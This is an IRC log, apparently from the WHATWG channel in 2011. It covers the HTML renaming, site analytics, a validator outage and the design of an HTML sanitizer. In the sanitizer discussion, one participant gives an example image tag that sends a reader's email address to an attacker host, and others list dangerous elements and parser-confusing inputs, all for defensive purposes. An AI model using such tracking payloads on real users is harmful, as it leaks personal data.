| 00:03 | <mpilgrim> | hixie: here |
| 00:04 | <Hixie> | mpilgrim: can you get us analytics for the recent post? |
| 00:05 | <mpilgrim> | 7418 pageviews |
| 00:05 | <mpilgrim> | 102 sources |
| 00:05 | <mpilgrim> | daringfireball.net: 1050 hits |
| 00:05 | <mpilgrim> | news.ycombinator.com: 1045 hits |
| 00:05 | <mpilgrim> | reddit.com: 592 hits |
| 00:05 | <mpilgrim> | twitter: 566 hits |
| 00:06 | <mpilgrim> | google: 410 hits |
| 00:06 | <mpilgrim> | drops off after that |
| 00:09 | <Hixie> | cool, thanks |
| 00:11 | <annevk> | mpilgrim, could you add annevankesteren⊙gc as user? |
| 00:12 | <annevk> | from a brief look at what I used to have that seems to be possible, but I am not sure |
| 00:13 | <mpilgrim> | done |
| 00:13 | <mpilgrim> | i think |
| 00:13 | <Hixie> | ooh ooh add me! add me! |
| 00:13 | <Hixie> | ian.hickson⊙gc |
| 00:13 | <mpilgrim> | try https://www.google.com/analytics/reporting/?id=12053975 |
| 00:14 | <Hixie> | gotta go, bbiab |
| 00:14 | <annevk> | http://daringfireball.net/linked/2011/01/19/ped-score o_O |
| 00:14 | <annevk> | cool |
| 00:14 | <annevk> | thanks |
| 00:16 | <bga_> | does whatwg has own logo? |
| 00:17 | <ben_c> | yeah, and it covers whatwg, w3c, google and bananas |
| 00:18 | <TabAtkins> | Anybody know much about the USB HID standard? I'm looking to sanity check an idea. |
| 00:18 | <bga_> | i see. thanks |
| 00:18 | <ben_c> | bga_: there's actually the green question mark in the circle |
| 00:19 | <annevk> | bga_, http://www.whatwg.org/images/logo |
| 02:41 | <jacobolus> | mpilgrim: I know it's 60% off, but do you really expect us to buy the dead tree version of the html5 book when it's missing all the cute illustrations? |
| 02:43 | <jacobolus> | (I was sad to see them gone when I finally looked at a copy in a bookstore recently) |
| 02:43 | <paul_irish> | illustrations++ |
| 02:44 | <jacobolus> | oh wait, is the 60% off only for the ebook? |
| 02:45 | <jacobolus> | so no illustrations and not even any dead trees? |
| 02:45 | <nimbupani> | whats not to luv |
| 02:49 | <mpilgrim> | no, i expect you to buy a bag of bits with no illustrations |
| 02:54 | <jacobolus> | mpilgrim: out of curiosity, did someone force you to ditch the pretty illustrations? |
| 02:54 | <jacobolus> | and if so, can we call to complain? :) |
| 02:55 | <jacobolus> | (this whole logo brouhaha has me in the complaining mood) |
| 02:55 | <mpilgrim> | talk to my o'reilly editor |
| 02:55 | <mpilgrim> | they wanted to maintain their branding |
| 02:57 | <mpilgrim> | i agreed as long as i could hand them HTML files and never have to touch Microsoft Word |
| 02:57 | <jacobolus> | haha. fair enough |
| 02:57 | <mpilgrim> | true story |
| 02:58 | <jacobolus> | yeah, avoiding word is a pretty good trade for just about any other terms they might want to throw at it |
| 03:26 | <Serenalis> | I just read the HTML is the new HTML5 blog post…and earlier today I saw the W3C announcement that they're launching a whole branding campaign around the term "HTML5." Doesn't this seem a bit inconsistent and divisive? |
| 03:27 | <Hixie> | the "HTML5" in the W3C logo effort and the WHATWG HTML spec aren't the same thing, so no |
| 03:27 | <Hixie> | in fact that's one of the reasons we changed it, to avoid confusion |
| 03:29 | <Serenalis> | There's already a great deal of confusion in the media and even among erudite web developers about what constitutes HTML5, and on that basis I agree with WHATWG's decision. |
| 03:30 | <Hixie> | cool |
| 03:30 | <Serenalis> | What concerns me is that just as web standards have finally reached a level of universal appeal and compliance, the two bodies that define them have gone in diametrically opposite directions with terminology (and to some extent, standards defining methodology). |
| 03:31 | <Hixie> | to be fair, the w3c hasn't changed direction |
| 03:31 | <Hixie> | and the whatwg changed direction last year (actually in late 2009), we just didn't change the name until today |
| 03:31 | <Serenalis> | Yes, true. |
| 03:32 | <Hixie> | in practice i don't think the directions are really incompatible -- we're still working together on the specs for example |
| 03:32 | <wirepair> | is there a page/blog/place one can get a definitive answer to all this inconsistency? wouldn't that help clear some things up? |
| 03:32 | <Hixie> | though i do think the w3c should join us in the version-less world :-) |
| 03:32 | <Hixie> | wirepair: i'm trying to update the faq, what question should i add? not sure what's unclear :-) |
| 03:33 | <wirepair> | how about... "The media seems really unclear on what HTML5 is and how it relates to newer web technology, what specificially designs HTML5 and how is it different than the whatwg HTML branding?" |
| 03:33 | <wirepair> | something like that ;) |
| 03:34 | <bga_> | s/version less/revision bases/ i guess |
| 03:34 | <MikeSmith> | Hixie: are e.g., dropzone="f:text/plain f:text/html" and dropzone="s:text/plain f:text/plain" meant to valid? |
| 03:34 | <wirepair> | err designates |
| 03:34 | <Hixie> | wirepair: let me update the current qs in the faq and then i'll ping you again and see if it answers the question |
| 03:34 | <wirepair> | oh i'm not saying i'm confused |
| 03:34 | <wirepair> | i'm saying the journalists are |
| 03:35 | <wirepair> | :) |
| 03:35 | <wirepair> | i think it's pretty simple tbh ehe |
| 03:35 | <Hixie> | wirepair: i'll ping you and you can see if you think they'll be less confused :-) |
| 03:35 | <wirepair> | sure :) |
| 03:36 | <Hixie> | MikeSmith: yes |
| 03:36 | <MikeSmith> | ok |
| 03:36 | <MikeSmith> | thanks |
| 03:36 | <Hixie> | MikeSmith: first one accepts text files and html files dragged in, second one accepts text selections dragged in and text files dragged in |
| 03:36 | <fullroundaction> | hey wait this isn't #nerdshitnoonecares about |
| 03:37 | <Hixie> | it isn't...? methinks he was lost. |
| 03:37 | <MikeSmith> | Hixie: I see -- thanks |
| 03:37 | <MikeSmith> | Hixie: no, clear to me know |
| 03:37 | <MikeSmith> | spec is clear |
| 03:38 | <MikeSmith> | Hixie: just trying to write the checker code for it |
| 03:40 | MikeSmith | now realizes Hixie was replying to dude |
| 03:40 | <Hixie> | heh |
| 03:42 | <Serenalis> | Are the WHATWG version of the HTML Living Standard and the W3C version of HTML5 always going to be consistent at least for the parts they have in common? |
| 03:43 | <Serenalis> | I understand that they're drawn from the same source document, but I'm also concerned that one or the other version may end up substantially different from the other due to this change in direction, and I wonder what this will mean for implementations in practice. |
| 03:43 | <benschwarz> | MikeSmith: :) |
| 03:45 | <MikeSmith> | benschwarz: ♨ |
| 03:52 | <Hixie> | Serenalis: yes, they'll always be consistent (unless one goes way off the rails of course, but then that one will just be ignored) |
| 03:56 | <Serenalis> | Thanks for clearing that up, though I think that might be a useful FAQ entry for people who are very concerned on a practical level about writing standards-compliant code and especially convincing skeptical project managers about why that's both important and doable. :P |
| 04:06 | <Serenalis> | Hixie, with HTML as a living standard, is the intent that the spec will drive implementations or that implementations will shape the spec? |
| 04:06 | <Hixie> | both |
| 04:06 | <Hixie> | in practice it's always been both for successful specs |
| 04:08 | <nimbupani> | http://omghtml5.com/post/2837210354/the-most-standards-compliant-html5-logo |
| 04:10 | <Serenalis> | Hixie: I agree. One of the biggest criticisms of W3C specs historically has been that they have been disconnected with reality. This Living Standard approach could fix that. Do you think there's a chance W3C will follow suit? |
| 04:12 | <Serenalis> | Also, by the way, sorry for barging in and demanding answers with no preamble! Thanks very much for taking the time to talk, I really do appreciate it. |
| 04:20 | <jacobolus> | Serenalis: people who are concerned about writing compliant code are going to write code based on what is implemented in browsers, hopefully; making that be the same as the spec is (so far as I can tell) priority #1 for at least the WHATWG version |
| 04:20 | <Hixie> | Serenalis: happy to answer questions, sorry for the lag in my answers :-) (i'm editing the faq) |
| 04:20 | <jacobolus> | also, the people in here seem pretty friendly towards those of us who barge in and talk from time to time |
| 04:21 | <Hixie> | Serenalis: i don't know if the w3c will follow, but i really hope so |
| 04:21 | <jacobolus> | so don't worry about it, unless someone says otherwise |
| 04:21 | <Hixie> | Serenalis: it is unfortunately one of the most ingrained things at the w3c, so it might take a while |
| 04:24 | <Hixie> | is there a better definition for namespaces than http://www.w3schools.com/xml/xml_namespaces.asp ? |
| 04:25 | <nimbupani> | :| |
| 04:26 | <Serenalis> | jacobolus: I agree completely. Thanks. :) |
| 04:27 | <nimbupani> | https://developer.mozilla.org/en/SVG:Namespaces_Crash_Course needs some copyediting |
| 04:34 | <Serenalis> | Is the "What you can do" WHATWG wiki entry still current? I may be interested in getting involved once I get up to speed on the latest. |
| 04:34 | <Serenalis> | It'd be nice to contribute meaningfully rather than just asking questions. |
| 04:35 | <Hixie> | it's probably current |
| 04:36 | <Hixie> | haven't checked recently |
| 04:36 | <Hixie> | will do in a minute |
| 04:36 | <Hixie> | still editing the faq |
| 04:36 | <othermaciej> | Hixie: looks like s/HTML5/HTML/ has been rather well received after all |
| 04:37 | <Hixie> | yeah, i'm shocked at how well it went |
| 04:37 | <Hixie> | honestly didn't expect it to be this good |
| 04:37 | <cutepy> | hi i have a project to create an online document viewer. I plan to convert pdf documents to html for showing the documents. |
| 04:37 | <cutepy> | does anyone have any idea of how to program this |
| 04:37 | <Hixie> | i figured it'd be 50/50 at best and that people would come over in due course |
| 04:42 | <othermaciej> | a handfull of people expressed dislike, in the comments I saw, but not very strongly even |
| 04:42 | <Serenalis> | once I understood the intent, my reaction was kind of like "thank god" |
| 04:42 | <Serenalis> | "someone actually is connected with reality finally" |
| 04:43 | <Serenalis> | (as an outsider :)) |
| 04:43 | <Serenalis> | I understand WHATWG has been working this way for a while, but to go public with an announcement was great |
| 04:50 | <evilandlazy> | My daughter suggested a new logo for the living standard. Hope you like it: http://www.zazzle.com/html_no_5_logo_shirt-235649046014311218 |
| 04:52 | <Serenalis> | haha nice |
| 04:52 | <Serenalis> | I'm going to go ahead and say for the record that I rather strongly dislike the new w3c logo. |
| 04:52 | <bga_> | roof of house |
| 04:53 | <bga_> | top view |
| 04:57 | <Hixie> | evilandlazy: nice |
| 05:00 | <othermaciej> | I miss the green stripe |
| 05:02 | <Duke___> | Hixie: in home http://www.whatwg.org/ is correct HTML5 in section Specs? |
| 05:05 | <othermaciej> | whoah, someone might have just proved that P=NP |
| 05:06 | <othermaciej> | hide your kids, hide your wife, hide your public-key cryptosystems |
| 05:06 | <othermaciej> | http://romvf.wordpress.com/2011/01/19/open-letter/ |
| 05:11 | <Serenalis> | Hixie: it was good to meet you; thanks for answering my questions. :) There may be more later! Good night all. |
| 05:58 | <MikeSmith> | ´/me wonders if Java has a simple way to tokenize a string and check if it has any duplicate tokens |
| 07:06 | <hsivonen> | Hixie: relevant to canvas a11y: https://mozillalabs.com/skywriter/2011/01/18/mozilla-skywriter-has-been-merged-into-ace/ |
| 07:06 | <Hixie> | yeah i heard about that |
| 07:06 | <Hixie> | good news |
| 07:09 | <Hixie> | http://wiki.whatwg.org/wiki/FAQ is updated |
| 07:09 | <Hixie> | wirepair: ^ |
| 07:09 | <Hixie> | bbl |
| 07:47 | <MikeSmith> | hsivonen: bugzilla.validator.nu appears to be down |
| 07:48 | <hsivonen> | MikeSmith: yeah. I go to sleep for a night and my Web sites drop off the Web :-( |
| 07:48 | <MikeSmith> | heh |
| 07:49 | <MikeSmith> | teenagers |
| 07:50 | <hsivonen> | MikeSmith: Someone was using the generic instance of Validator.nu too much |
| 07:51 | <hsivonen> | I need to figure out what to do about that |
| 07:51 | <hsivonen> | MikeSmith: anyway, bugzilla.validator.nu and hsivonen.iki.fi are now back |
| 07:52 | <MikeSmith> | cool, thanks |
| 07:54 | <MikeSmith> | hsivonen: don't currently have any rate limiting set up with iptables or whatever? |
| 07:54 | <hsivonen> | MikeSmith: no. I suck at this sysadmin stuff |
| 07:55 | <MikeSmith> | me too :) |
| 07:55 | <MikeSmith> | something I'm glad I don't have to deal with |
| 07:57 | <hsivonen> | OK. I think I found the guilty IP address... |
| 07:58 | <MikeSmith> | hope it's not mine :) |
| 07:58 | MikeSmith | is reading http://brendaneich.com/2011/01/harmony-of-my-dreams/ |
| 08:02 | <hsivonen> | ok. the validator is now back, too, with the resource-over-using IP address banned |
| 08:04 | <hsivonen> | whoa! looks like something with a Yandex IP and a Yandex bot UA is disrespecting robots.txt! |
| 08:04 | <hsivonen> | (but that's not the cause of the DoS problem) |
| 08:07 | <othermaciej> | I wonder why no one has decided that robots.txt must be replaced by some sort of robots.xml |
| 08:11 | <hsivonen> | othermaciej: I believe the has been a draft for XML-based discovery on robots.txt-like things, though |
| 08:11 | <hsivonen> | (I sent email to Yandex) |
| 08:12 | <hsivonen> | MikeSmith: it seems to me iptables is the wrong tool here and I should take the time to implement some kind of throttling in Validator.nu itself |
| 08:13 | <hsivonen> | to dynamically detect IP numbers that make unreasonably frequent request to the Web service APIs |
| 08:16 | <MikeSmith> | hsivonen: that'd be certainly be nice |
| 08:16 | <MikeSmith> | benefit others who run their own instances |
| 08:16 | <MikeSmith> | as a plus |
| 08:21 | <wirepair> | Hixie: looks good :) |
| 08:21 | <zcorpan> | i like the full inline references in developers.whatwg.org |
| 08:23 | <hsivonen> | If the person who has written software in Ruby that hammers validator.nu with bursts of WWW::Mechanize traffic to the JSON-based Web service interface is reading the logs, please make your program sleep for a bit between validations as a courtesy to other users |
| 08:23 | <zcorpan> | although it could leave out the fluff and just have the link text in the references |
| 08:26 | <zcorpan> | benschwarz: i'd prefer a bit darker gray for the examples |
| 08:27 | <benschwarz> | zcorpan: So would I :) |
| 08:27 | <benschwarz> | Its not quite right, I thought the examples would barely be used |
| 08:27 | <benschwarz> | I later discovered that they're *everywhere* |
| 08:27 | <benschwarz> | Its on my list, but perhaps an issue logged would stop people from telling me its wrong :) |
| 08:27 | <benschwarz> | Did you check the issues before asking? |
| 08:28 | <zcorpan> | nope :) |
| 08:28 | <benschwarz> | hmm. okay :) |
| 08:38 | <zcorpan> | Hixie: https://github.com/benschwarz/developers.whatwg.org/issues#issue/7 applies to the normal multipage versions too |
| 08:59 | <wirepair> | hsivonen: are you sure someones not just abusing your validator as a proxy? |
| 08:59 | <wirepair> | i'm pretty sure i've said in this channel that the validators could easily be abused |
| 08:59 | <wirepair> | heh |
| 09:00 | <thiessenp> | Would anyone know what browser versions fully support HTML5 markup? |
| 09:12 | <annevk> | http://my.opera.com/c69/blog/html5-logo-is-ok -- haha |
| 09:18 | <annevk> | I approved a bunch more comments |
| 09:20 | <annevk> | even got a comment from Jukka K. Korpela |
| 09:21 | <annevk> | He thinks we are not making sense |
| 09:24 | <annevk> | We gained over 100 followers on twitter yesterday |
| 09:24 | <annevk> | Lets change names every week! |
| 09:27 | <zcorpan> | next up: DHTML Standard |
| 09:30 | <annevk> | http://plasmasturm.org/log/trolliquette/ |
| 09:30 | <annevk> | :) |
| 09:31 | annevk | approves comment by foolip |
| 09:32 | <annevk> | I believe this is only for the first time people leave a comment |
| 09:32 | <annevk> | Maybe we could turn it off... I have only seen a couple bad comments and most got caught by the spam filter already. |
| 09:33 | <foolip> | hehe, at first I thought you meant "approves" as in "likes" |
| 09:34 | <annevk> | heh |
| 09:34 | <hsivonen> | do we have a canned answer for explaining why hasFeature and similar things by another name don't work? |
| 09:35 | <zcorpan> | foolip: he just concluded that you weren't a spammer, but still didn't like your comment at all |
| 09:37 | <hsivonen> | wirepair: pretty sure. the script was POSTing the content it was validating instead of GETting it from elsewhere |
| 09:39 | <annevk> | http://omghtml5.com/ haha |
| 09:39 | <hsivonen> | thiessenp: no such browser |
| 09:40 | <thiessenp> | hsivonen: booo (thanks :) |
| 09:45 | <annevk> | http://twitter.com/pornelski/status/27871749907423233 has a great theory: "WHATWG moves beyond "HTML5". That's probably just to keep HTML5-committed @IE a version behind again ;)" |
| 09:46 | <zcorpan> | "The hunt for the so-called “HTML5 team” is now underway, more information shortly. A deck of cards will be created for these villains as soon as we know who they are." http://omghtml5.com/post/2062326530/breaking-news-html5-breaks-web-on-purpose |
| 10:23 | <annevk> | I installed a caching plugin by the way |
| 10:23 | <annevk> | The one that was most popular |
| 10:23 | <annevk> | Hopefully it works |
| 10:25 | <annevk> | we had over a 100 retweets btw |
| 10:25 | <annevk> | see http://twitoaster.com/country-in/whatwg/html-is-the-new-html5-—/ |
| 10:26 | <annevk> | "This tweet received 111 twitter mentions (4 replies and 107 retweets) from 110 distinct twitter users. In addition to WHATWG followers, it has been read by 125,918 second-level followers (retweeters followers)." |
| 10:26 | <annevk> | "This conversation is linked to the Twitter India country." |
| 10:26 | <annevk> | lol |
| 10:28 | <hsivonen> | There's India and then there's Twitter India |
| 10:29 | <erlehmann> | lol one one eleven |
| 10:33 | <annevk> | wait, othermaciej points out an article that might suggest P=NP but wasn't there one already that proofed the opposite? |
| 10:34 | <annevk> | http://en.wikipedia.org/wiki/P_versus_NP_problem#Claimed_solutions ah, that was not accepted yet |
| 10:34 | <othermaciej> | annevk: that proof is not widely believed to be valid |
| 10:35 | <annevk> | s/yet// |
| 10:38 | <jgraham> | There is probably a strong correlation between the number of attempted proofs of a problem and its fame. P?=NP is such a famous problem that the density of claimed solutions in either direction is extremely high. Most pass right under the radar, but the internet is very good on picking up those with slightly above-average credibility |
| 10:38 | <annevk> | http://bit.ly/gR27Et - HTML LS |
| 10:39 | <annevk> | I sort of hope that term is not going to catch on :) |
| 10:39 | <heycam> | HTML, Immortal Edition |
| 10:42 | <jgraham> | HTML, God Mode |
| 10:42 | <jgraham> | The specification that cannot die |
| 10:42 | <heycam> | HTML iddqd? |
| 10:42 | <zcorpan> | HTML5 is idkfa |
| 10:44 | <annevk> | http://www.reddit.com/r/programming/comments/f5e8k/yesterday_the_w3c_proposed_a_html5_logo_with_a/ is not very positive overall |
| 10:47 | <matjas> | since when do we care what reddit thinks? |
| 10:48 | <annevk> | just interesting to see what the perception is |
| 10:49 | <zcorpan> | isn't reddit mostly not very positive? |
| 10:50 | <Workshiva> | It seems like the usual misunderstanding of how browser standards work |
| 10:51 | <annevk> | zcorpan, could be |
| 10:52 | <annevk> | overall this went really well I think |
| 10:55 | <Workshiva> | "So yeah, will CSS3 become CSS now?" |
| 10:55 | <Workshiva> | That is actually a great example of how a version number is meaningless |
| 11:03 | <annevk> | updated http://wiki.whatwg.org/wiki/WebAppsTweet to ignore typo and xref fixes |
| 11:06 | <arminbw> | I will call it HTML+ |
| 11:12 | <david_carlisle> | html+ is done already, it expired |
| 11:13 | <annevk> | Another thing I considered doing was enabling an easy way to get the specification for each specific SVN revision. However, I am not entirely sure how to deal with changing dependencies. |
| 11:15 | <arminbw> | So if html+ expired it's actually just html again, right? Old html. |
| 11:16 | <jgraham> | html++ then |
| 11:16 | <annevk> | The whole point is that there is no difference! |
| 11:17 | <Rik`> | and then it will be html# or objective-html ? |
| 11:18 | <david_carlisle> | You should all just be using mathml anyway, this html thing won't catch on |
| 11:22 | <jgraham> | annevk: But html++ means that every person who reads the name gets a unique version number! It is giving ownsership of the spec to the community! |
| 11:25 | <arminbw> | lets put it on github |
| 11:27 | <hsivonen> | "You essentially have to treat browsers as a bunch of somewhat sleazy politicians" -- Robin Berjon |
| 11:28 | <othermaciej> | and a nice day to you too, Mr Berjon |
| 11:28 | <jgraham> | hsivonen: Is there any context or is this twitter? |
| 11:29 | <hsivonen> | jgraham: http://lists.w3.org/Archives/Public/public-html-xml/2011Jan/0231.html |
| 11:31 | <jgraham> | Hum. What he actually says is quite reasonable |
| 11:31 | <jgraham> | His phrasing of it is pure flamebait |
| 11:32 | <annevk> | well, or funny |
| 11:32 | <david_carlisle> | othermaciej: He was being nice to you really, and just agreeing with hsivonen that you need to test for what's implemented |
| 11:33 | <othermaciej> | sure, in context his flamebait was eminently reasonable |
| 11:33 | <jgraham> | annevk: Didn't really register as funny for me. I guess he might have been going for "funny" |
| 11:35 | <jgraham> | though |
| 11:39 | <annevk> | as far as I can tell his views have shifted somewhat since the SVG days |
| 11:39 | <annevk> | and are somewhat similar to ours now |
| 11:40 | <hsivonen> | fwiw, I was quoting out of context for amusement. I don't disapprove of Robin's email. |
| 11:40 | <david_carlisle> | annevk: what people get older? |
| 11:42 | <asmodai> | lol @ http://dl.dropbox.com/u/50841/twitter/WhatsNew.png |
| 11:45 | <charlvn> | haha, good one |
| 11:46 | <annevk> | what is rowspan in wiki syntax? |
| 11:46 | <asmodai> | Whoever came up with the badge builder ought to be shot |
| 11:47 | <asmodai> | I thought we ditched such idiotic badges/images finally. |
| 11:48 | asmodai | prepares for a new round of Works with FF/IE and Valid HTML images on pages :( |
| 11:48 | <hsivonen> | asmodai: saying that someone ought to be shot isn't really an improvement over the military imagery |
| 11:48 | <annevk> | found it |
| 11:48 | <Lachy> | asmodai, we ditched idiotic validation badges that made false claims more often than not |
| 11:48 | <asmodai> | hsivonen: Heh, true. |
| 11:49 | <asmodai> | Funny though, if you select those features of the badge builder, it's like HTML5 is growing a Pinoccio nose |
| 12:01 | <annevk> | I made some more changes to the FAQ |
| 12:05 | <hsivonen> | hmm. writing a sanitizer becomes really complicated if you want to decide whether the token becomes an HTML, MathML or SVG element before deciding whether to drop it |
| 12:06 | <hsivonen> | maybe it's just not worth it... |
| 12:08 | <hsivonen> | maintaining distinct attribute white lists for the three should be easy-ish, though |
| 12:09 | <jgraham> | hsivonen: What is the difficulty? |
| 12:10 | <jgraham> | (I'm not saying there isn't one, just wondering what, specifcally, you find hard) |
| 12:11 | <hsivonen> | jgraham: if you drop an element after the tree builder algorithm has run, you need a marker on the stack so that you know to drop the matching end tags but not to drop end tags whose element didn't get dropped |
| 12:12 | <hsivonen> | so then you have this sparse stack where some stack nodes are "not really" markers that you can't append children to but that participate in the tree builder algorithm otherwise |
| 12:12 | <hsivonen> | it looks to me that those "not really" or "can't use this node as a parent" markers will suck for the AAA and such |
| 12:13 | <annevk> | so you want to sanitize during parsing rather than serializing? |
| 12:14 | <hsivonen> | jgraham: otoh, if you always drop all start and end tag tokens for a given tag name, you don't need to keep track of stuff to match end tags with the start tags |
| 12:14 | <hsivonen> | annevk: yes |
| 12:14 | <hsivonen> | annevk: and only from the security POV--not from the correctness POV |
| 12:14 | <david_carlisle> | annevk: On Robin's views changing since svg days "It wasn't long before mobile SVG implementations also used XML parsers that were a little bit more open-minded " :-) |
| 12:17 | <jgraham> | hsivonen: Is it too much work to probe what namespace a tag will become by inspecting the current state of the treebuilder and knowing what the entry/exit points from foreignContent are? |
| 12:19 | <david_carlisle> | hsivonen: is there an existing element name for which you do want to take a different decision, depending on html/mathml/svg, or is this future proofing? |
| 12:20 | <jgraham> | hsivonen: (the big problem I see with speculatively inserting elements and rolling back if they end up in an undesired namespace is around AAA and so) |
| 12:21 | <jgraham> | (I think that would mean you had to snapshot the entire tree rather than just marking the inserted elements) |
| 12:21 | <hsivonen> | david_carlisle: I can't think of one from the security POV |
| 12:22 | <hsivonen> | david_carlisle: so perhaps I shouldn't even try to have distinct white lists |
| 12:22 | <hsivonen> | jgraham: that approach would probably make sense if distinct white lists were actually necessary |
| 12:24 | <annevk> | hmm comments are getting somewhat off-topic |
| 12:24 | <annevk> | oh well |
| 12:24 | <hsivonen> | anyway, I threw away my complicated code and will try again |
| 12:24 | <hsivonen> | this time dropping tokens before the tree builder runs |
| 12:28 | <jgraham> | hsivonen: Presumably the reason would be that future standards bodies might be idiotic enough to invent tag names that are safe in one namespace but not another. Or we might grandfather in a language where, say, <div> means "run this script" |
| 12:28 | <jgraham> | Neither of those would happen in a sane world |
| 12:28 | <Ms2ger> | annevk, | rowspan=n |, if you didn't find it yet |
| 12:28 | <hsivonen> | jgraham: I'm not planning on coding for that scenario |
| 12:29 | <annevk> | Ms2ger, thanks, I figured it out already |
| 12:30 | <david_carlisle> | jgraham: that would be the world in which browser makers don't implement image and not tell us for a decade that we have an unknown name clash? |
| 12:30 | <benschwarz> | Hixie: !Ping |
| 12:31 | <jgraham> | david_carlisle: < jgraham> Neither of those would happen in a sane world |
| 12:32 | <david_carlisle> | jgraham: something about logic and doors |
| 12:35 | <hsivonen> | david_carlisle: fortunately, image is "safe" |
| 12:37 | <hsivonen> | hmm. nested SVG scripts are going to be annoying |
| 12:38 | <david_carlisle> | hsivonen: yes |
| 12:51 | <hsivonen> | hmm. so the list of dangerous well-known HTML elements is script, style, applet, object. Right? |
| 12:51 | <hsivonen> | working out which parts of SVG are dangerous is harder |
| 12:52 | <annevk> | anything that causes a request can be dangerous in a way |
| 12:53 | <benschwarz> | Is there a bot to leave Hixie a message? |
| 12:53 | <annevk> | you can file a bug |
| 12:53 | <jgraham> | Yes, one might imagine organising the code around groups of elements according to their properties |
| 12:53 | <jgraham> | Or just leave the message |
| 12:54 | <hsivonen> | annevk: do you mean for detecting that a user read a span with a unique image? |
| 12:54 | <jgraham> | e.g. script_elements, request_elements, etc. |
| 12:55 | <hsivonen> | and SVG id references that can go across documents is one collection of pain that makes it hard to know which elements end up requesting stuff based on the element name alone |
| 12:57 | <benschwarz> | I just added web stats to the developers.whatwg.org edition… |
| 12:59 | <benschwarz> | and now, bed. later all |
| 13:08 | <annevk> | hsivonen, or somewhat dangerous GET requests |
| 13:09 | <annevk> | e.g. a blog comment in moderation that fetches logout.php |
| 13:10 | <hsivonen> | annevk: a blogging system is full of fail if you can be logged out using GET |
| 13:10 | <annevk> | no argument there |
| 13:10 | <annevk> | guess it depends on what you want to do |
| 13:11 | <annevk> | for email it would be similarly bad |
| 13:11 | <annevk> | <img src=http://evil.com/?you⊙ec>; |
| 13:12 | <hsivonen> | I believe Thunderbird catches those on a different layer |
| 13:15 | <annevk> | other things that could be potentially problematic are elements the author did not expect commenters to use or be able to use |
| 13:16 | <annevk> | e.g. if the author has one <header> on his page with some position:absolute styling and a commenter includes that as well... |
| 13:16 | <annevk> | but I guess it depends on whether this API will be exposed to web content or not whether any of the above makes sense |
| 13:19 | <hsivonen> | annevk: good point. that threat isn't being addressed |
| 13:22 | <hsivonen> | stuff like <svg><script><script><h1> is very annoying |
| 13:24 | <annevk> | heh, Julian thinks we changed the name because we are angry with the HTML5 logo |
| 13:24 | <annevk> | http://www.heise.de/ix/meldung/Aus-HTML-5-wird-der-lebende-Standard-HTML-1172423.html |
| 13:25 | <annevk> | hsivonen, it seems filtering the DOM would give much better results |
| 13:25 | <annevk> | hsivonen, also, if we want this at the parser layer, should this be part of the parsing section? |
| 13:27 | <hsivonen> | annevk: it sure starts looking like it doesn't make sense to recommend this function for non-browser users of the parser |
| 13:28 | <hsivonen> | and yeah, I'm starting to suspect whether it makes sense to do this in the parser even in the browser case |
| 13:29 | <hsivonen> | though for perf, it kinda sucks to build a DOM fragment, run a filter on it and then insert it |
| 13:30 | <Philip`> | Is this ever a performance-critical operation? |
| 13:30 | <hsivonen> | Philip`: dunno |
| 13:30 | <hsivonen> | <svg><script><foreignObject><h1>Hi! is annoying, too |
| 14:34 | <jacobolus> | I notice that most (all?) of the little annotations in the margin of the HTML5^H spec say that there are 0 tests and 0 demos for a feature, and nothing written about "implementation status"; is there actually some place where such tests/demos would reside, linked from the spec? aren't there plenty of parts that *do* have tests one place or another around the web? |
| 14:35 | <Philip`> | The tests/demos can be anywhere - someone just needs to update the spec to point to them all |
| 14:35 | <jacobolus> | is there any good coordinated place showing what has tests, what needs tests, etc.? |
| 14:36 | <Philip`> | No |
| 14:36 | <Philip`> | http://wiki.whatwg.org/wiki/Testsuite has links to various things |
| 14:36 | <jacobolus> | it seems like this is a task that could be pretty easily distributed: "write 1-2 test about one of these features"; would be more productive as a discussion than flameouts about nomenclature and so forth |
| 14:37 | <jacobolus> | then again, maybe no one would be interested in writing a test or two |
| 14:37 | <Philip`> | It'd probably be good to coordinate work in the HTML WG testing group rather than having everything as ad hoc as it has been |
| 14:37 | <Lachy> | jacobolus, there are a few that do have some tests written and linked from those annotations. |
| 14:38 | <jacobolus> | I guess there's also the big problem that someone (not volunteering, for sure) would have to do the organizing/coordination |
| 14:38 | <Lachy> | from memory, the video element has a couple. |
| 14:38 | <Philip`> | (There's some (slow) progress in that direction currently) |
| 14:39 | <Philip`> | jacobolus: A person writing 1-2 tests wouldn't really be scalable to what the spec requires, since it'll need tens of thousands of tests |
| 14:40 | <jgraham> | jacobolus: The HTML TEts TF already exists. The main problems are a) getting people to write tests and b) getting the right metadata to link the TCs to the right parts of the spec |
| 14:41 | <jacobolus> | fair enough |
| 14:41 | <jacobolus> | Philip`: fair enough |
| 14:41 | <Philip`> | and the overhead of teaching people how to write good test cases and reviewing them and maintaining them etc means you really need someone to take responsibility for developing a coherent set of tests for a whole section of the spec, I think |
| 14:41 | <Philip`> | else it'll be unmanageable |
| 14:41 | <jgraham> | jacobolus: The only well tested part of the spec is <canvas> where a) was solved by Philip` writing all the tests and B0 was solved by Philip` writing a system for annotating the spec |
| 14:41 | <jacobolus> | i.e. someone needs to make it their full-time job |
| 14:42 | <jgraham> | jacobolus: There are surprising;y few places you can get paid to spend all your time writing spec tests |
| 14:42 | <jgraham> | In fact I don't know of any |
| 14:42 | <jacobolus> | that doesn't seem surprising |
| 14:42 | <annevk> | I'm pretty sure such a position is obtainable |
| 14:42 | <Philip`> | jacobolus: Yeah, that seems like the most efficient way to get the work done, but I suppose that doesn't help much if nobody is in a position to do that :-( |
| 14:43 | <jgraham> | It does mean that as a strategy starting with "1) assume we will get a full time coordinator" is a losing proposition |
| 14:43 | <annevk> | e.g. with Mozilla or Google |
| 14:43 | <jacobolus> | seems like it'd take a substantial amount of work to even try to consolidate the tests which exist and link them to relevant spec sections |
| 14:43 | <jgraham> | annevk: Maybe, but the evidence is that neither Mozilla nor Google *actually* employ anyone to do that |
| 14:44 | <annevk> | yes, because nobody is interested in it |
| 14:44 | <jgraham> | In fact neither are particularly active at all in writing tests for HTML |
| 14:44 | <jacobolus> | but the result is that it's sort of impossible to figure out what parts are tested and what parts aren't |
| 14:44 | <Philip`> | It sounds like browser testing people spend most of their time debugging browser-specific bugs and writing browser-specific tests, instead of standards tests |
| 14:44 | <jacobolus> | right |
| 14:45 | <Philip`> | Is that unavoidable? |
| 14:45 | <jacobolus> | it does seem like a wasted duplication of effort, no? |
| 14:45 | <annevk> | no, but it requires some amount of investment |
| 14:45 | <annevk> | into a framework that can be shared, that people are willing to use |
| 14:45 | <jgraham> | We do write quite a lot of standards tests |
| 14:45 | <annevk> | and that shows some reasonable return of investment |
